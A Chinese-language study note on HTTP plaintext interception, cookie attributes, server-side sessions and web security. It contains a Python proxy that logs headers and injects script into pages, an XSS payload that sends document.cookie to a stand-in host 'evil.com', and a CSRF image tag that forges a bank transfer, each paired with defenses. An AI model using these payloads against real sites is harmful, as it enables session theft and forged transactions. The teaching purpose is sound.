HTTP 明文拦截 & Cookie/Session 详解
HTTP 代理中间人攻击原理、HTTPS 为什么拦不了、Cookie 与 Session 的区别与安全边界。
HTTP 明文拦截 & Cookie/Session 详解
项目背景
从 DAY01 的 HTTP 请求拦截实验开始,到理解 Cookie/Session 机制。这篇笔记记录了对 HTTP 安全问题的深入理解过程。
实验:用 HTTP 代理拦截请求
用一个简单的 Python 代理脚本演示 HTTP 明文传输的问题:
from http.server import HTTPServer, BaseHTTPRequestHandler
import requests
class ProxyHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 打印所有请求信息(明文可读)
print(f"[拦截] {self.command} {self.path}")
print(f"[请求头] {self.headers}")
# 转发请求到目标服务器
resp = requests.get(f"https://目标服务器{self.path}",
headers=dict(self.headers))
# 在响应中注入脚本
body = resp.content.replace(
b"</body>",
b"<script>alert('中间人攻击!');</script></body>"
)
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(body)
HTTPServer(('0.0.0.0', 8080), ProxyHandler).serve_forever()
如果用户通过代理访问 HTTP 网站,代理可以:
- 查看所有请求内容(用户名、密码、Cookie)
- 篡改响应内容(注入广告、恶意脚本)
- 重定向请求到钓鱼网站
这就是为什么生产环境必须用 HTTPS——不加密就相当于把数据写在明信片上寄出去,沿途每个邮递员都能看。
Cookie 详解
什么是 Cookie
HTTP 是无状态协议,服务端通过 Set-Cookie 响应头在客户端存储一小段数据,后续请求客户端自动带上 Cookie 表明身份。
Cookie 属性
Set-Cookie: session_id=abc123;
Domain=.example.com;
Path=/;
Max-Age=3600;
Secure;
HttpOnly;
SameSite=Strict
| 属性 | 作用 |
|---|---|
| Domain | 指定哪些域名可以接收 Cookie,默认当前域名 |
| Path | 指定哪些路径可以携带 Cookie,默认 / |
| Max-Age / Expires | 过期时间,Max-Age 优先级更高 |
| Secure | 只在 HTTPS 连接中传输 |
| HttpOnly | 禁止 JavaScript 读取(防止 XSS 窃取) |
| SameSite | 控制跨站请求是否携带(防止 CSRF) |
Cookie 大小限制
- 单个 Cookie 不超过 4KB
- 每个域名 不超过 20~50 个 Cookie(浏览器不同)
- 所有 Cookie 不能超过整体限制(Chrome ~180 个)
这就是为什么不能用 Cookie 存大量数据——只能用 session_id 这种钥匙,数据放服务端。
Session 详解
什么是 Session
Session 是服务器端保存的用户会话数据。常见存储方式:
// 方案1:内存 Session(默认,不推荐生产)
// 问题:服务重启丢失、多实例不共享
HttpSession session = request.getSession();
session.setAttribute("user", userInfo);
// 方案2:Redis Session(推荐生产)
// @EnableRedisHttpSession 自动配置
// Session 数据存在 Redis 中,多实例共享
存储方式对比
| 方式 | 优点 | 缺点 |
|---|---|---|
| 内存 | 简单、速度快 | 重启丢失、无法水平扩展 |
| 数据库 | 持久化 | 读写慢、有单点 |
| Redis | 快、共享、持久化可选 | 需要额外维护 Redis |
| 分布式缓存 | 高性能 | 组件复杂 |
最佳实践:Session 存 Redis。 在 Spring Boot 中加 @EnableRedisHttpSession 一行配置即可。
Cookie vs Session
| 对比项 | Cookie | Session |
|---|---|---|
| 存储位置 | 浏览器 | 服务器 |
| 大小限制 | 4KB | 理论无限制 |
| 安全性 | 可被拦截/篡改 | 数据在服务端安全 |
| 性能 | 每次请求自动携带 | 需要查存储 |
| 生命周期 | 由 Max-Age 控制 | 由超时时间控制 |
两者关系: Cookie 中的 session_id 是钥匙,Session 是储物柜。
安全实践
XSS(跨站脚本攻击)
攻击者通过注入脚本窃取 Cookie:
<!-- 如果网站把用户输入直接回显 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
防护: Cookie 设 HttpOnly(禁止 JS 读取),输出时做 HTML 转义。
CSRF(跨站请求伪造)
用户在银行网站登录后,访问恶意网站。恶意网站伪造请求转账:
<img src="https://bank.com/transfer?to=hacker&amount=10000">
防护: Cookie 设 SameSite=Strict,加 CSRF Token。
总结
HTTP 是好用的协议,但明文传输是致命缺陷。HTTPS 解决了传输安全问题,但 Cookie/Session 的安全性还需要开发者自己注意:HttpOnly、Secure、SameSite 三个属性缺一不可。